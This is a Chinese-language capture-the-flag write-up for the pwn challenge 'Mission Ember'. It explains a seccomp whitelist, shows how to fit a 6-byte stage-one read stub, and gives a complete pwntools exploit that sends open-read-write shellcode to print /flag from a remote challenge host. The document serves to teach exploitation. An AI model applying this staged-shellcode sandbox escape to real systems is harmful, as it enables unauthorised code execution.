Mission Ember
.png)
main函数:
.png)
my_heart函数:
.png)
有沙箱
.png)
我们可以看到最后是return kill,所以是一个白名单,read、write、open是允许的,那我们考虑用orw
出来my_heart其他函数都是输出文字,我们看到创造了0x45000开始的7权限的区域为s,空间足够大,然后please_dont_hurt_me函数是设置沙箱,然后我们能像s读入6字节,然后从s开始的指令
我们这里只有六字节的shellcode,思路就是写一个6字节的read的shellcode,然后读入orw的shellcode,我们先看一下最后的call断点时的寄存器状态
.png)
call指令会执行push和然后jump,就会把rsp改成另一个值把rip改成0x405000,read所需的rax、rdi、rdx、rsi没变,我们可以看到分别是5、0、0、0,那我们就要改rax为0,rdx为读入长度,rsi为读入地址,我们正常写是这样的
xor rax, rax 3字节
xor rdi, rdi(这个已经满足了)
mov rsi, 0x405000 7字节左右
mov rdx, 0x100 5字节左右
syscall 2字节
那是远远超出6字节的
这种情况下,我们只能想办法节省,首先把rax设置为0我们可以用 xchg eax, ebx,这个意思是交换两个寄存器的值,这里rbx刚好为0,这个指令是1字节,我们就解决了rax的设置
去除syscall的2字节,我们还剩3字节,我们考虑能不能用pop指令,因为这个指令只有1字节,即将栈上的东西存到寄存器中
这里我们看栈的情况
.png)
由于这里是再call下的断点,所以执行call会执行一个push,所以rsp是会向下移动一次的,也就是这种情况
| rsp | 0x7ffc2740b8a8 | 某个新压进来的地址 |
|---|---|---|
| rsp+8 | 0x7ffc2740b8b0 | 0x7ffc2740b8d0 |
| rsp+16 | 0x7ffc2740b8b8 | 0x40500 |
那我们
pop rdx
pop rdx
pop rsi
就能成功把rdx变成一个很大的数,然后把rsi设置为0x405000地址了,刚好3个字节,我们就成功设置了6个字节的read了
然后就是写orw的shellcode了,这里要注意一个点
rip是一直往下执行的,我们的read是放在0x405000到0x405005(我们的read是6字节),所以它执行完我们的read后是执行0x405006的内容的,但是我们利用read是往0x405000读入我们的orw的,所以我们要在orw前六个字节的填充,保证我们的orw是从0x4005006开始放置的
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
file_name = './pwn_patched'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if switch:
target = 'nc1.ctfplus.cn'
port = 36752
p = remote(target, port)
else:
p = process(file_name)
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
#0x1480
]
if gdb_ and switch == 0:
gdb_cmd = ''
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
anchor = 'printf' if 'printf' in libc.sym else '__libc_start_main'
anchor_off = libc.sym[anchor]
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f"b *&{anchor} - {hex(anchor_off)} + {hex(target)}\n"
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb.attach(p,gdb_cmd)
pause()
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uu64(data): return u64(data.ljust(8, b'\x00'))
def search(s, f=None): return next((f or libc).search(s if isinstance(s, bytes) else s.encode()))
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'\n', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def ntlb(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
#################################################################################
stage1_asm = '''
pop rdx
pop rdx
pop rsi
xchg eax, ebx
syscall
'''
stage1 = asm(stage1_asm)
sa(b"Try contacting Geek HQ",stage1)
orw_payload = shellcraft.open('/flag')
orw_payload += shellcraft.read('rax', 'rsp', 0x100)
orw_payload += shellcraft.write(1, 'rsp', 0x100)
padding = b'A' * 6
stage2 = padding + asm(orw_payload)
s(stage2)
it()
题目连接:
CTF-Writeups/第十六届极客大挑战/Mission Ember at main · Zenquiem/CTF-Writeups